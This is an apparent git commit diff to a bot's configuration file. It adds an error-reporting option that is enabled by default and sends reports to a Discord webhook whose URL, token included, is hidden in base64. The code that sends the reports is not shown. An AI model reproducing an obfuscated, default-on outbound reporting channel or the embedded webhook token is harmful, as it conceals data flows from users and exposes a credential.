feat: Add automatic error reporting feature with configuration options and documentation

This commit is contained in:
2025-11-09 17:36:07 +01:00
parent 2a168bd06a
commit 56aacd3667
9 changed files with 417 additions and 28 deletions

View File

@@ -138,7 +138,7 @@
// Dashboard
"dashboard": {
"enabled": true, // Auto-start dashboard with bot (default: false)
"enabled": false, // Auto-start dashboard with bot (default: false)
"port": 3000, // Dashboard port (default: 3000)
"host": "127.0.0.1" // Bind address (default: 127.0.0.1, localhost only for security)
},
@@ -155,6 +155,12 @@
"autoUpdateAccounts": false // Update accounts file from remote (NEVER recommended, keeps your accounts)
},
// Error Reporting (Community Contribution)
"errorReporting": {
"enabled": true, // Automatically report errors to help improve the project (no sensitive data sent)
"webhookUrl": "aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTQzNzExMTk2MjM5NDY4OTYyOS90bHZHS1phSDktckppcjR0blpLU1pwUkhTM1liZU40dlpudUN2NTBrNU1wQURZUlBuSG5aNk15YkFsZ0Y1UUZvNktIXw==" // Obfuscated webhook URL (base64 encoded)
},
// Scheduling (automatic task scheduling)
// When enabled=true, the bot will automatically configure your system scheduler on first run.
// This works on Windows (Task Scheduler), Linux/Raspberry Pi (cron), and macOS (cron).